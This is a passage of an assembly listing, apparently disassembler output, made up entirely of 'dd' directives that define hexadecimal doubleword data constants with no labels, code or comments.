		dd 7CAD0366h, 5C56DA5Fh, 50BC48Eh, 81F31A3Ch, 6FB67203h
		dd 2C48B8D8h, 24A5F83h,	0B2C7994h, 0A777A040h, 4BFE4500h
		dd 570E7621h, 0F60F05FCh, 0C02FB5DBh, 6CA14164h, 43AD2B00h
		dd 0B027A3EEh, 4E6A01C0h, 6CD5E82h, 0E6A1F8B4h,	0D0EB2F04h
		dd 0BCC0795Ah, 122D43ACh, 6A8EC1h, 770D1D00h, 0FF003574h
		dd 6B5163ADh, 73559E1Ch, 0EDEB01C6h, 0E1E54959h, 61308156h
		dd 0AF3BBBA8h, 0C6DF9852h, 26CD3CA8h, 39FB5300h, 2F1D4569h
		dd 1C823F03h, 0FF704E95h, 145C6720h, 3D770034h,	0E94904B5h
		dd 0DE01FDBFh, 54332BB3h, 0C9D87C0Fh, 75AA005Ah, 0ADA08748h
		dd 14718BA2h, 41948301h, 0C3E8C7AEh, 0D1BDF4h, 0FEAC7F25h
		dd 0CDBBF1ADh, 0A996CC13h, 74A3000h, 3D1647FBh,	0D79C5C5Dh
		dd 3CAD4E86h, 4201A020h, 7B7412B7h, 831389FEh, 0D500F2F3h
		dd 34044ED2h, 80BE0923h, 53808844h, 0F8AFDF3Bh,	3E765B00h
		dd 41B3FF9Ch, 6EE0003Dh, 94EECF62h, 0A07DEF2h, 26DB6C0Fh
		dd 7CED17C0h, 58B77E74h, 0AE855876h, 6EDC80A5h,	1003BFF0h
		dd 0B13FF4F9h, 2829B0D6h, 77330066h, 85B28250h,	0AC03EC5Bh
		dd 9AADF4E2h, 0E7961E7Dh, 0CC810064h, 5908FFE6h, 0E84CB000h
		dd 5288A577h, 14A61271h, 9EBC01C8h, 0CD2779DAh,	0E4222Fh
		dd 604B42B8h, 0A0BB2h, 3048EA17h, 91AF7D85h, 585F7130h
		dd 0AB69F8h, 78C32333h,	30BB75B4h, 7E01DEFCh, 74F92D6Dh
		dd 6060A2E1h, 0FE921EECh, 235040E2h, 5FBCCB20h,	0F0D1CE00h
		dd 37AD3C02h, 0E4BD0190h, 0CFC50161h, 72AC47E9h, 0D0E03B73h
		dd 4AFC098Dh, 80BFEB3Bh, 0BAE87563h, 90495C83h,	0F8650090h
		dd 347704A9h, 2700DAFBh, 29606B5Dh, 0E8490E9Fh,	468300EEh
		dd 916F36D8h, 2800A661h, 707D823Bh, 0A03FA1h, 0B042B184h
		dd 0C5F815A3h, 8109D27Dh, 44E3BC23h, 29E10EB0h,	0FC9486h
		dd 0FC1BDAE7h, 2320377Eh, 0F0D000DBh, 1FD6796Dh, 4B072E22h
		dd 0E8FD4CBAh, 8D41C0DEh, 0A854DBh, 6DF279A1h, 6F3A4878h
		dd 0DEF68B02h, 0C91E382Eh, 0A830C638h, 55BC05BEh, 0D04D0DCCh
		dd 604C87B8h, 0E800834Ah, 8E4204E5h, 1ABB059Bh,	800A2D93h
		dd 72D40500h, 0A214C47Fh, 16187557h, 0FD0C9A03h, 74F030F3h
		dd 7D4C00D3h, 9647D255h, 0D37B69Eh, 8766B0A6h, 6F530028h
		dd 9F6BCB83h, 92005AE3h, 0D864032Ch, 3EEC0BF0h,	3400E75Dh
		dd 0F7CC0FEAh, 0C097313h, 8354EEC6h, 2F21A09h, 0AAF04368h
		dd 0E8509303h, 4ABAD900h, 0E3976E8Ch, 9CD73A23h, 6F5D260Ah
		dd 39A50358h, 70F03D89h, 4F0015BDh, 4E4B249Bh, 61FE06h
		dd 3AD8EBA4h, 0AC3C8749h, 0D78D340Fh, 4B6D00BAh, 1D9B71F7h
		dd 0BE252E04h, 0C4837800h, 19B3734Dh, 3EB07700h, 979AD118h
		dd 0CC2D0E67h, 5280FBEFh, 0F106D92Ah, 7ADB7800h, 0DDA1F8C0h
		dd 3CE498h, 0C73757DCh,	0D40BC943h, 3371751Fh, 0C3F47D01h
		dd 5CE0BACBh, 0C6D90045h, 5403855Bh, 4A0B0F63h,	0F4C31B8h
		dd 684FE0A3h, 2CB3E6h, 1E978D61h, 0C92B2D5Dh, 9C745200h
		dd 0D0180548h, 0BAD50E1Ch, 3FCBED90h, 80654C81h, 7BC840C7h
		dd 0C92949Fh, 58F03Eh, 84D38BBFh, 8FCB30h, 0C5868A29h
		dd 0E15BFF57h, 2081F930h, 29EF1C3Bh, 0E220CA46h, 9030F2C2h
		dd 4092D1h, 42511372h, 416BAB2Eh, 9600E776h, 59C727EDh
		dd 0E3499FCh, 35905503h, 6C80FF7h, 9020F609h, 0A85ED611h
		dd 0E71180F9h, 0F1FE7AB7h, 838F0CBDh, 0F4081258h, 0BE0064BAh
		dd 89BF7A1Fh, 17C7BEBh,	286ED4A4h, 74043516h, 7200DE44h
		dd 0BAA51E4Bh, 7D86D05h, 0B9484723h, 0EDFCC00Ch, 7434550Ah
		dd 0ED06903Ah, 3E61BE08h, 0D8600590h, 292E348Bh, 0A0362607h
		dd 7EE02528h, 0FC5EDCCh, 0A9A31BBFh, 5DB543C0h,	0D4A1A8D4h
		dd 7621C644h, 919D0955h, 0CE2E09ADh, 9BC1EC43h,	0F0B6C8FEh
		dd 0D2ED4B03h, 0A3ECC3B8h, 0CE310097h, 0E76E9B26h, 630136FDh
		dd 4B9C1A81h, 2C348A10h, 42D812D6h, 0B08C2013h,	57589322h
		dd 2E720646h, 6A08CC0Dh, 4421BAh, 615D5A93h, 7503255Ch
		dd 3E49E213h, 0F5C5E858h, 3AD4B294h, 0C0134F87h, 79302290h
		dd 552001C0h, 0DBE3EF0Ch, 0C0C1095Ch, 4ACB1921h, 0A1006168h
		dd 0F2B37EB7h, 29D61247h, 81ECAFC8h, 0F1F47A45h, 88E0182Dh
		dd 0FCA14A18h, 1F4EDC35h, 8D0AA9F0h, 0C8030D8Eh, 9006348Ah
		dd 0A6B49F80h, 0E39A19h, 0AD7D3244h, 792DEEFCh,	1FA8FF09h
		dd 60048E5Bh, 58D6468Eh, 4A682D95h, 0BD1EB0FEh,	69C52C0Fh
		dd 0D8F1059Fh, 0C7BCD008h, 0D11C2EF0h, 213F8DDBh, 9BF8D8h
		dd 0D82B6A52h, 289AB5CCh, 0FCA6F202h, 912C8090h, 5718F9A4h
		dd 55354A08h, 0E104C6A7h, 4AFC1800h, 0BE338E4Eh, 2A5078A5h
		dd 0A082AFh, 95245D34h,	2A19DF64h, 3F37F34Ch, 9C21E00Fh
		dd 91257B6Dh, 18AB790Ch
		dd 839700E9h, 17A8A4DDh, 70EA8BB4h, 455759C0h, 7C042Fh
		dd 0FD35EE56h, 6E4232E6h, 2900CAF4h, 5788C4F3h,	0AE819Ch
		dd 65A4192h, 2072B38Ch,	47465490h, 42932102h, 1CBC05h
		dd 0EF93B21Eh, 0DBFAFC6Bh, 0BB18E73Bh, 521E010h, 0FEED14DCh
		dd 17A700E1h, 39B124A6h, 79761ACCh, 0D365981Eh,	0D609FFDEh
		dd 1B4030CAh, 0F1F2117Ah, 217D8C1Dh, 7A40041Ah,	0C3D4CE46h
		dd 89987B14h, 0D754F68Eh, 8D1AFEE0h, 41117388h,	3048C55Ch
		dd 0F57A0844h, 0E1C245F1h, 4D1900D6h, 0FC000D7Ah, 0A62F6DEh
		dd 63F7794h, 0A4892DDBh, 41004978h, 5E0FB0ACh, 0C88FF2DFh
		dd 7CEE968h, 6514F17Ah,	0CD20EF62h, 2C407A48h, 264CB97h
		dd 0A5DD9677h, 4A6EE890h, 0D893D300h, 385E47E3h, 0DEAB0017h
		dd 2B9C0A8h, 92123AB0h,	886388D7h, 0F04490F4h, 10EC43FBh
		dd 0F800D780h, 5FC19B3Ch, 23E6DB2Dh, 6A77F00Ch,	1C84135h
		dd 2E59F9F5h, 24029A58h, 54006278h, 0B6F7BF96h,	0F7E2D3Fh
		dd 341952E7h, 23663383h, 70449FBAh, 0F2B8B702h,	0C1EDFB75h
		dd 2DC4C465h, 0C92FDh, 809E43A1h, 97E1B7B5h, 0CC077E78h
		dd 64081AE2h, 0D8960D03h, 5B0C872Ch, 6780038h, 4C2B7961h
		dd 0DD78D491h, 9F00863Bh, 0B1EB9527h, 0E4223Ch,	14B8E9EEh
		dd 9BAF0710h, 88D4D84Ch, 932FC049h, 0CC460540h,	1000B822h
		dd 0F5FB9388h, 0A98C86Ch, 3864F3DFh, 0BA465C24h, 0D2734A02h
		dd 0D4A00A34h, 779E8980h, 3240D00h, 9F7EDD2Ah, 37C40061h
		dd 0A318933Bh, 0D0A8069Ah, 4D00D8A6h, 8363FE84h, 3C8EE09h
		dd 0FDA815ABh, 40FDF38Eh, 0BDB8B388h, 423C4D06h, 3824590Dh
		dd 6FB49507h, 0A24F30E0h, 0D08DB527h, 8C18C021h, 73A5B1B9h
		dd 0B649F4A8h, 0B3415B0Fh, 30F74079h, 1E5D20Ah,	0E4EE36F1h
		dd 85AF3237h, 1A520D1h,	8B02DC88h, 0B9D570E7h, 0B5FCF376h
		dd 8729983Eh, 9A40929Ch, 0F4AA2E40h, 70594877h,	69C7B98Fh
		dd 10A406Bh, 5BF636EBh,	0C8882C58h, 4B43C03Dh, 0C7465521h
		dd 1C1FC022h, 37004AC8h, 1DFF6BB4h, 0B6971E55h,	0DC6622h
		dd 9A08B3CCh, 89329DCDh, 909FF9D8h, 0F90BBCh, 7A79FACBh
		dd 54C4A6ABh, 8CEA7E00h, 1C015A85h, 0F3C80F37h,	0E93B89Eh
		dd 87003E76h, 550884D7h, 0C458EC60h, 0B0A7DAE0h, 0DFE22E84h
		dd 8E003BF1h, 0A2339208h, 7B0F8C97h, 63B9BCD3h,	0E08030FCh
		dd 944B63h, 0BF5F1466h,	40C3F252h, 7EEA3216h, 9950F800h
		dd 3ABD477h, 919E2E10h,	0D2A82482h, 57018764h, 0A8393C6Dh
		dd 0CC408E35h, 0D13DB7h, 0A0DAB606h, 0AD615FF9h, 0E6768403h
		dd 0F8C1250Ah, 71EBEE9h, 96ED33BCh, 0A2DC2116h,	10807B95h
		dd 71768Ch, 0CBDD10B6h,	6BB99B2Fh, 0F13E7F00h, 2A6F2863h
		dd 38F6001Ah, 4637A4C3h, 8600DC34h, 7EF78B55h, 31CA87E6h
		dd 3FE4B3Bh, 91408798h,	9FFE212Eh, 26879940h, 10CE89DFh
		dd 1CFAFB7h, 390CEB53h,	808F7433h, 10C1316Bh, 0E40FBC45h
		dd 36003F9Fh, 0F907E69Ch, 1096B8E4h, 34B1618h, 596067A6h
		dd 0D7B80D9h, 79BF1F09h, 99902Eh, 9C28553Fh, 1D2C8162h
		dd 0C45CC5EEh, 41A3C445h, 66287844h, 65117DCh, 0E3584FEh
		dd 0C41C4057h, 328EF00Ah, 5C680094h, 0F6A8363Bh, 34400AD4h
		dd 3DA0FD0Fh, 16E05780h, 0A0FAF847h, 19038F00h,	816BBE73h
		dd 10B7003Eh, 0FFEF1E21h, 0F900C67Ch, 77E976C8h, 0C0D701D8h
		dd 13CFC040h, 0DC90DAB9h, 5B366B07h, 540A8B0h, 2C3CB6h
		dd 4AF7C28Eh, 0B8787B07h, 490B4300h, 8B0C57AFh,	7CE83D46h
		dd 55108F9Ch, 5D01C042h, 118AF89Eh, 2AA040EEh, 5024303h
		dd 28910DE0h, 37B1604Bh, 77C70025h, 9C89C871h, 22003567h
		dd 9E7F6155h, 9AC43Eh, 995E4B56h, 8509D0C2h, 43024600h
		dd 0F7BB67B1h, 0BF9400DAh, 0D31B6BF1h, 81C40513h, 83BF04E5h
		dd 5BE837F0h, 0B00BE96h, 0B5F0993Dh, 78494630h,	74AE00CEh
		dd 8CB22188h, 6B7481A4h, 0F0BADD0Fh, 12ABE7EDh,	65CE9970h
		dd 0C6FD07ECh, 20B4EA13h, 706B5CD1h, 0C4F29D0Ch, 6D40D8h
		dd 64A89684h, 69BB9A09h, 651F8500h, 33D22F8Dh, 6DC800B8h
		dd 5F20404Bh, 22FCDCE9h, 408FC124h, 3601C020h, 0F2B9182Dh
		dd 0B0281C74h, 0D9438BB8h, 3A206E00h, 0B900A57h, 85567D1Eh
		dd 9802E4C4h, 303374C2h, 23114B5Dh, 0DA885755h,	4ACA1280h
		dd 0F4782DECh, 41151E3Ch, 79F941F0h, 3953B36Bh,	4228BC5Ch
		dd 8E4A11ECh, 232008A9h, 1A29F246h, 0D6E1789Ch,	0FCA50086h
		dd 0CF97F8F6h, 84591347h, 6DCC005Ch, 0A880E5DBh, 3E700091h
		dd 3DDF3018h, 45041D43h, 5D1BE64Ch, 1A343CC1h, 10155C64h
		dd 68D3B8CBh, 505F0448h, 7506990h, 0B207B1A8h, 10D8E193h
		dd 3B3FFE01h, 0B0E31D60h, 6E900384h, 0B487D584h, 2921DFE3h
		dd 221C1D54h, 0DC116242h, 0C52811D8h, 0B6E54470h, 0D09E2284h
		dd 0E0113C42h, 0A02A2220h, 1E2C7231h, 414C7491h, 0D8A56EFCh
		dd 15002EA4h, 9D155F82h, 93F500BEh, 42FC9F3Dh, 0EF00AE46h
		dd 0ED315163h, 60CC491h, 5AE1F707h, 430B4E64h, 0C8A5A0F9h
		dd 0D688ACh, 0EB927EFEh, 0A97890A1h, 3CE6F800h,	862D726Dh
		dd 20A0BB3h, 0FA0051B2h, 0F8E08D57h, 0C5D4AB01h, 894953FAh
		dd 6AC3F8h, 0E711AAD2h,	0A09AB7A3h, 80F5957Bh, 63773811h
		dd 16250C6Ch, 5BFC98h, 0FF05F054h, 0BA00151Fh, 437BE444h
		dd 1A84DD9h, 51C9B5F1h,	7417976Bh, 59013878h, 0B17782BDh
		dd 0BBF8A49Fh, 0F38E000Eh, 9ADDCD5Eh, 21003612h, 189B9E15h
		dd 609DFB3Dh, 463A80F8h, 6EFA51A7h, 7B3F862Ch, 0DEC83B00h
		dd 0EAC178Fh, 41727643h, 0D6C352E0h, 64095631h,	2461E3C4h
		dd 54A895C0h, 0D8CEBFB1h, 8A005E86h, 2B418E45h,	7A93033h
		dd 0F76CCAB3h, 5C135012h, 0B2187111h, 7B8B6E8h,	0ED47022Ah
		dd 0D2C59075h, 7621A080h, 500B53Eh, 7BDE99A5h, 2E4BB7h
		dd 0D0F474BCh, 0FC9EDAD7h, 0F60024B8h, 954F44A6h, 0FCC16218h
		dd 0AA1200C4h, 29CB4EB9h, 9A128DDDh, 0B6ECC509h, 0C619D500h
		dd 455AD7F2h, 0E716CA0Ch, 167D885h, 0B5DBA22Bh,	0F4D1440Ch
		dd 0E948C113h, 81B90009h, 94BECAFAh, 5F2E00F5h,	5DDDDC8Eh
		dd 0BF049785h, 837352F6h, 0A10780BEh, 21037E0Dh, 0E93526C4h
		dd 0F2D1A876h, 714B0093h, 0EA1C46D7h, 3B00A0BAh, 827EE9AAh
		dd 0F87DCh, 0FDC431E7h,	5EA52443h, 0AEDFDA00h, 9D9B27CAh
		dd 0DB223857h, 0B0AFCF81h, 0E5D0C5D7h, 8074E125h, 79200668h
		dd 2AF5D3Fh, 5BE8FCBFh,	0FC8014A5h, 0E1DDA485h,	1007F518h
		dd 4A9931h, 195FEA48h, 0C08C90ACh, 459B0A01h, 0F77322Fh
		dd 7E822980h, 629EA4D0h, 0A5F2F13Bh, 914488ACh,	0FF9F2500h
		dd 0F8728D2h, 0F598B91Eh, 4CEC68A0h, 851C2F80h,	807EBDA7h
		dd 6FFE8AE2h, 732C5Eh, 1E17E056h, 0E961A3C0h, 0CD3144C0h
		dd 4BC17Dh, 693A2E47h, 8BFB745h, 48A9BD35h, 0D1232B80h
		dd 0C20600D8h, 6B2A8AB4h, 404542Dh, 8F05C88Ch, 61008CA8h
		dd 83584875h, 60C0FDE4h, 0F0545F65h, 0BB71289Bh, 343B01A0h
		dd 0A6A1E257h, 0CDAB6001h, 1FCF4705h, 80EF39DEh, 4A7ED8FEh
		dd 3E48567Ch, 0DCCE2C2Ch, 3AAD7C00h, 3F60C58Fh,	0F578C0h
		dd 0A9C7F975h, 8DD0CF54h, 32242904h, 69C0FBB7h,	7E835204h
		dd 661C09B2h, 0A80070ECh, 91E158BCh, 3CC7BB02h,	0E0FE4D05h
		dd 0F9D751Ah, 2FD274F7h, 45D00D60h, 0E002D2Ch, 1FBF4BCEh
		dd 0C03C4Ah, 0E3E160A1h
		dd 0FBA714BDh, 23970D13h, 50A97000h, 934E4Ch, 0FFBE6918h
		dd 99743DF4h, 0D3D62800h, 0FBCF6A0h, 0F1AA00CBh, 77A4C719h
		dd 0D70018D2h, 0B4859971h, 0EEB7E2h, 97846A49h,	0CDC4C33Bh
		dd 50424800h, 0B0795B0Bh, 56AE1294h, 7454F0B8h,	0CE00CDF6h
		dd 2160E934h, 97779Fh, 0DE0944B4h, 52691E9Ah, 0DF20D564h
		dd 76F980C0h, 945C0029h, 0CB9347A4h, 3100EE2Dh,	0D5DC1C16h
		dd 0AB1DBBh, 0FE9BB0A2h, 2BCB71AAh, 1A5D4D00h, 0ACCD418Dh
		dd 87C300A5h, 16051C36h, 3B00BA60h, 31DCEAC9h, 83C55Dh
		dd 0B35AC2E3h, 0A25FCC96h, 1B2694Ch, 0BE05E9B0h, 0E2D0356Bh
		dd 0B32F004Bh, 0FF4E7D93h, 25002A42h, 5F8FAE7Eh, 90B255h
		dd 39B0A6A2h, 98489D6h,	4431D403h, 0A0A582B3h, 8C7751h
		dd 9B189156h, 7220D17Eh, 5F694A02h, 607F86F2h, 3D1F2FE0h
		dd 0B7032A22h, 0B1CCD50Fh, 545EB3BAh, 0E1E40901h, 0EBD81A4Fh
		dd 8DB60F50h, 0E520B795h, 3A31BAACh, 0D1473703h, 0E09B4C5Eh
		dd 0B90F4Eh, 2EC4F910h,	819C0254h, 0F83CD602h, 0C21D275Ch
		dd 40C4A0CAh, 4C025A7Dh, 5000D084h, 570E395Fh, 0AAB8A86Ch
		dd 0C500DDFCh, 0F29545D5h, 6662DAh, 8FB8066Bh, 1D071820h
		dd 9C9B3400h, 0FA3B9444h, 0EE9002Dh, 71253F9Dh,	0A60BA8Ch
		dd 0A4AAF3E9h, 0ACA3275Ch, 914DD4C0h, 5F72EC01h, 6E98EAE0h
		dd 1373E530h, 0E0250762h, 6900D840h, 4EB29022h,	0E4529AB3h
		dd 36170CD7h, 0D8E95B92h, 504DE200h, 71AEA22h, 0FFE60F0Bh
		dd 2B01D6FAh, 8A5DED9Fh, 9CB281C8h, 0BBA84800h,	1CC98382h
		dd 9B0228Ch, 0E0039AD1h, 428018FCh, 4E0053EEh, 59391073h
		dd 3F5C264h, 0D1045602h, 0A3980117h, 3B73B6DEh,	5062F227h
		dd 0EB1A0736h, 90A261B2h, 0FE7EB7A4h, 0B2F961Dh, 6080E1F0h
		dd 7D273045h, 8B240620h, 0B13A5B00h, 0E9B8F4E2h, 0E136009Dh
		dd 0CFE6C0F2h, 63006E2Dh, 0B44E9C7Bh, 28CB76Bh,	226D38ADh
		dd 0C461B10Ch, 0B0BE0028h, 0CA1803E8h, 0D3C55792h, 0E4D64980h
		dd 0FFF474E5h, 0BF4C5900h, 50E08893h, 640E00C9h, 0FDC6227h
		dd 9CA0157Ch, 80CEDE5h,	10146F09h, 0B5F300C5h, 88E94829h
		dd 716079ACh, 100F9951h, 0E98B08Dh, 0C49502FBh,	0F0AF1C40h
		dd 5E0003F1h, 182D6D5h,	8DEA1Dh, 0DF3D8AF7h, 78CED8CBh
		dd 4A2CD3Ah, 0F303C92Ah, 0D39A22C3h, 0B0FBA0D9h, 0D8749Fh
		dd 0F224B61Fh, 11A1CCBBh, 43B1DB03h, 0D29D3C89h, 26E740ACh
		dd 0F6780372h, 0A332E5E6h, 0C94D38F8h, 4234D60Ch, 1DD10ACh
		dd 3724B259h, 0D0B3CA61h, 0F5003B6Ah, 836DBAE5h, 7EB9E3E2h
		dd 0D5862D4Bh, 0E7444DC0h, 72D02C00h, 0B8F2C565h, 1BAA0046h
		dd 0CA6452AFh, 210EC825h, 63C910FBh, 0F8FCD5D8h, 153DCA0h
		dd 7825CC31h, 2CDACBB0h, 67C90050h, 1AE4D2F6h, 0C3710195h
		dd 20763218h, 0EC1D3E0Ch, 7C3F1600h, 55F324h, 0D74FD278h
		dd 3CA1CFDEh, 20CDA88h,	4DFEDDA2h, 2440AD63h, 0CD07D951h
		dd 8889B91Fh, 1EC61450h, 4BB00B04h, 6E80927Eh, 0D11B05AEh
		dd 0DC550607h, 93404285h, 1CE85Dh, 14A97397h, 50A3D565h
		dd 0DFFD5800h, 9A2F1B37h, 24DD00DEh, 2C7D6160h,	0C800ABD2h
		dd 1598DF09h, 2E7BBD9Bh, 1DE0F18Dh, 200B9312h, 8376F204h
		dd 0F87D2402h, 865E1Eh,	0A0E096B7h, 0E3B0AE72h,	0C309CB00h
		dd 974BA6C8h, 3B6C04F6h, 8037E7E4h, 6050E62h, 5D3E26E4h
		dd 6BDE001Fh, 767EAE21h, 1249041Bh, 0C04D87F6h,	69371C04h
		dd 0B8CCD64Bh, 0CD9D018Fh, 0C7A08170h, 0D50BC92Fh, 0EE43C4A8h
		dd 27555Ch, 41B09F8h, 5A93D1D8h, 0C799C5C4h, 0A57A70h
		dd 0B5DCE27h, 94001A6Dh, 757FE5F3h, 0B0237904h,	92100066h
		dd 1EC53E35h, 0C73D060Ch, 9098807Bh, 8CD5D991h,	9EB90088h
		dd 0A9B63A27h, 3D07D474h, 4D4CFF40h, 9879E820h,	0A8450028h
		dd 16920431h, 5100B021h, 7A091235h, 4EEF6A4h, 4B76F402h
		dd 0E800EF07h, 0BBE490BDh, 16040015h, 6F66832Ch, 18002564h
		dd 0F0C7C23Bh, 32E772h,	3FCB527Dh, 44CA7B4Fh, 1E000AB8h
		dd 9DE674EBh, 71A38Ch, 53A6EB0h, 35C3A607h, 0D02F400h
		dd 44E970D4h, 59180117h, 28120AF2h, 38CDF82Ah, 7D146300h
		dd 0BFB3369Eh, 0AD4F00FFh, 0DD21D23Eh, 410175D4h, 4315EF77h
		dd 0C1F868D9h, 0C8A7038Bh, 9DB3119Ah, 0FB3AF800h, 71C0DE4Ch
		dd 59550078h, 0CDBA8D31h, 7701A5F5h, 7F3CDF17h,	30809A2Eh
		dd 83F114Ch, 131F9163h,	0C8401E6Eh, 262C5E1Ch, 0DE881E76h
		dd 5D8C85D9h, 70F6C14Ch, 5FC7404Eh, 230EE809h, 83180Dh
		dd 9AEB8D87h, 68DE00A9h, 0C3925224h, 4700D9B1h,	0AEAB1C42h
		dd 3A3D9B38h, 210354DBh, 0D6D030C2h, 3A60EE01h,	594A89C7h
		dd 0AEB0CCh, 4C16C6E4h,	0E60F27D7h, 20540B00h, 359310A9h
		dd 716C0062h, 0AAF26A23h, 4500918Fh, 0CFBE478h,	2FD43Ch
		dd 0A004A4DCh, 4C2E317Eh, 0A1742200h, 9E2B657h,	2C86750Fh
		dd 79CAF8h, 74238917h, 70003B98h, 10920330h, 0BC3AADh
		dd 0AB54B205h, 2E791C0Fh, 0A211ED00h, 58E398F3h, 2A36008Ah
		dd 97F9D748h, 0CC00D484h, 0DDEDAB3Fh, 0A8246476h, 1F79E9A4h
		dd 0EE0C0BDh, 728015CCh, 0F2BEDACFh, 0C5924900h, 85BF63B5h
		dd 0B26FA16h, 0B3786F6Ch, 0D9160Ah, 88D6774h, 5316ADCCh
		dd 0D1009247h, 0DFC22964h, 0E6B0DCh, 1DACE1CBh,	3E7B1F6Eh
		dd 0ECC0E200h, 6DC6F3D9h, 31730091h, 4DF9B583h,	121DD068h
		dd 0C804F826h, 1C805351h, 97B957Ch, 0CFC4AF6Ch,	0A3CE4487h
		dd 42C02616h, 0B001F71h, 9CF01760h, 38C82AF9h, 0F781E662h
		dd 3F9E22BAh, 964F20E4h, 507CDB00h, 0C809A8EDh,	94AB3258h
		dd 74C02850h, 150031C7h, 7BD2E6EBh, 3093C1F9h, 391025ACh
		dd 23015D9Fh, 44F23C1Ah, 0D8240321h, 0FD618038h, 8BB2A000h
		dd 0B44CE384h, 8713268Dh, 0C6DF0114h, 0EC6C6BD5h, 0B6713170h
		dd 0D0A0C2B8h, 0AA00B7B8h, 0E5BF623Ch, 0A00880A2h, 0FCDC93h
		dd 5CF38798h, 0C9A58EB0h, 461B40B0h, 98189918h,	6608676h
		dd 0E319AFA6h, 0DC005468h, 0A1577ACh, 0F9D5D5Ch, 5498D17Dh
		dd 25700380h, 0AB011147h, 6E1A8B7h, 3BF4E9D6h, 0F4330095h
		dd 947B4A1Ch, 2E7FBAFEh, 0B3B09A00h, 7D0AF7A4h,	0AD370A6Ah
		dd 3FA83416h, 3C6FB0F2h, 0F7002CB2h, 1BA5DDD9h,	5CF0D7F6h
		dd 2890D300h, 0BA2D88D5h, 0F3810017h, 0EC7A1DFAh, 0AF00CA26h
		dd 0AD1B9031h, 170F940Dh, 0F354441h, 23E0E487h,	0C52E85F8h
		dd 0A43FF704h, 9A83B4B0h, 0A119E3A9h, 36D8BCDEh, 0CFE00082h
		dd 796BB099h, 0D6603206h, 9895B11h, 5AFD1DBAh, 5E4783E3h
		dd 80B43A93h, 2B6D4CCBh, 48805800h, 21E10D07h, 6130012h
		dd 60BD2F5Ah, 0C94C2B4Ch, 0A6A0E59h, 4E21609Bh,	60CE3CFCh
		dd 0EB9ECEBDh, 76FAB4D8h, 0A88FA600h, 512B0957h, 0CA2A1E71h
		dd 91C66C1h, 31801788h,	26B9B292h, 0B8AEDC00h, 90E85BE9h
		dd 0E0B0007Fh, 743291E7h, 61007DA6h, 0C470083Ah, 9A5DE9h
		dd 0A059521Dh, 0A8717A2Bh, 22E339h, 0AB6CE13h, 0C14AF1h
		dd 6E1015B1h, 0D26427BAh, 8B855D00h, 70049D0Ch,	6057007Ah
		dd 9903BF23h, 900E1279h, 0A0066C88h, 3EB6FFE7h,	0E48C018Fh
		dd 7BB0B41Fh, 42F061EFh, 8F827600h, 1840F1A7h, 5500D0C8h
		dd 8D81D65h, 0B7B4CAh, 26BACE66h, 0A771461Ch, 0B696F51Dh
		dd 0EA90C283h, 81111E07h, 90A6FEh, 1BEFAB1Fh, 9CA082CCh
		dd 0AEEC326h, 36002CF8h
		dd 48D17B3Ch, 4A3D681h,	0D8F8B1CEh, 0B464819Ch,	0E071125Eh
		dd 0DB2C67h, 0FA460194h, 446055D8h, 470BF0E5h, 0C08C9837h
		dd 50801824h, 0E37BADh,	6A46F9F6h, 0AFC7CCE0h, 67AD23Eh
		dd 60742D49h, 4DB713C8h, 40781CD3h, 0CB09D93Dh,	9A00B6BEh
		dd 1D8CD6CAh, 770DA154h, 0E03A00F5h, 6634E333h,	9600394Ah
		dd 4F1D21C4h, 747D85Eh,	0C2DD8B30h, 417C4083h, 9BFC5715h
		dd 0F763Bh, 0B369B43Dh,	0C6116D7h, 0A3C35C72h, 0B51CAAE8h
		dd 6F80C93Ah, 8C4E58EFh, 3BA10011h, 758BD844h, 1800AE9Ch
		dd 7CE3922Ah, 0D7805Ch,	0E83805C5h, 25EDA703h, 3A12E20Fh
		dd 475C608Ch, 40FAEAh, 2B8EFE71h, 9FE24C55h, 0AEF1B005h
		dd 0AC1F5F83h, 8E4B60C0h, 5648DBh, 543F3692h, 1E9943B7h
		dd 0F107D979h, 6129FC40h, 0EA5A00AFh, 60B0CDh, 24DA3F37h
		dd 9BC969D1h, 98DEBA00h, 0F8703DDCh, 4DF12440h,	0D87A00E8h
		dd 462A903Fh, 21562D00h, 0B854CC7Bh, 6F7800BDh,	0C92FBFDAh
		dd 40007D8Eh, 748966C7h, 0FD20D2h, 96463A22h, 0C12CB352h
		dd 0DA9A9F00h, 42583EF6h, 66540035h, 0A1F77567h, 6418E4DDh
		dd 0F1106876h, 0FF12006Eh, 38C71AFDh, 4000AFE5h, 4A8EA27Ah
		dd 67BF60h, 955D6DE1h, 3F58F737h, 7F036E01h, 6CB9E3DBh
		dd 6AA1F8h, 0ADC3977h, 0C6231791h, 6BC930E7h, 0E8A52000h
		dd 0D144B41Dh, 65842CA2h, 41A607A2h, 25C510C8h,	13002C73h
		dd 3C0D6001h, 1F183Bh, 5719CD55h, 0B4DFB12Dh, 0AE6FC200h
		dd 9E76A582h, 7A6800CAh, 0DE59A937h, 17752FD5h,	7928DF30h
		dd 7BBA342h, 0B40B4472h, 520540C4h, 21C72F1Bh, 7E304D96h
		dd 3A6CFAFBh, 4E01D378h, 1D9E7579h, 902986D9h, 0F030130Dh
		dd 0FA650764h, 405D6693h, 8B0C689Ch, 0DEF62600h, 7AB07478h
		dd 63F10142h, 9DCBA17Ch, 0C024401Bh, 9E88DF54h,	0EC2A71A0h
		dd 24113C61h, 11271818h, 0B5603479h, 0DE7A6341h, 702454A9h
		dd 0EB07863Eh, 32A72B4h, 53967340h, 2D7CFBDEh, 586DD501h
		dd 0E8A50B26h, 2C065676h, 2AB1CA5Ch, 68DA00B0h,	783CF91Ch
		dd 7300D8FCh, 6777FDD6h, 0BDF40Ch, 27F5DECAh, 4C1EF1E1h
		dd 0C81D7A00h, 553A214Dh, 930F0043h, 15519405h,	6300BAFAh
		dd 0B7BD2295h, 72CE68h,	478BB85Ah, 4F7EAE59h, 0C5361B00h
		dd 48015E41h, 35E26Fh, 0A87275B7h, 0B30B9F67h, 50C43Ch
		dd 3E29F40Fh, 0B4164Dh,	22C0159Eh, 89086C65h, 2ADC2E00h
		dd 0B3142D0Ah, 16017F93h, 0D370DEh, 241B8FF7h, 990026F8h
		dd 3F1A4D5Ah, 90979Fh, 4501B615h, 800A8AF4h, 855AB93Fh
		dd 1EC8E35Dh, 417CC4Ah,	160630F6h, 0E3240111h, 0D46A1E00h
		dd 113C9AAEh, 3E500DBh,	0A9494F54h, 0BB1FEB07h,	15C70151h
		dd 0E278050h, 1881006Eh, 178CF039h, 301F548h, 0F7087F98h
		dd 3D8047C3h, 3C01EA83h, 32F41670h, 29870C03h, 41C1C34Dh
		dd 0F0AEF322h, 3500FCF7h, 0CB433BBEh, 17F23407h, 0C4E7B6Ch
